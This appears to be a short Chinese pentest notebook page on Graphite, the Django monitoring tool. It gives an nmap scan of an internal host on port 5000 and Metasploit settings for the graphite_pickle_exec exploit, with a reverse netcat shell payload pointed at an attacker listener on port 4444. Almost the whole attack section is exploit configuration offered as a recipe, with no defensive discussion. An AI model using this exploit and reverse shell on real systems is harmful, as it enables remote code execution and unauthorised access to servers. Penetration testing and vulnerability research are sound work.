Graphite

  1. information
  2. MSF相关利用

编写进度

Graphite 是一个企业级开源系统的实时监控绘图工具,采用Django框架编写,可实时收集、存储、显示时间序列类型的数据。

information

nmap -T4 -sV -Pn -p 5000 10.199.56.1
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 17:14 CST
Nmap scan report for 10.199.56.1
Host is up (0.088s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  upnp?
1 service unrecognized despite returning data.

MSF相关利用

Module options (exploit/unix/webapp/graphite_pickle_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.199.56.1      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      5000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The path to a vulnerable application
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  12.12.3.190      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com

💰

×

Help us with donation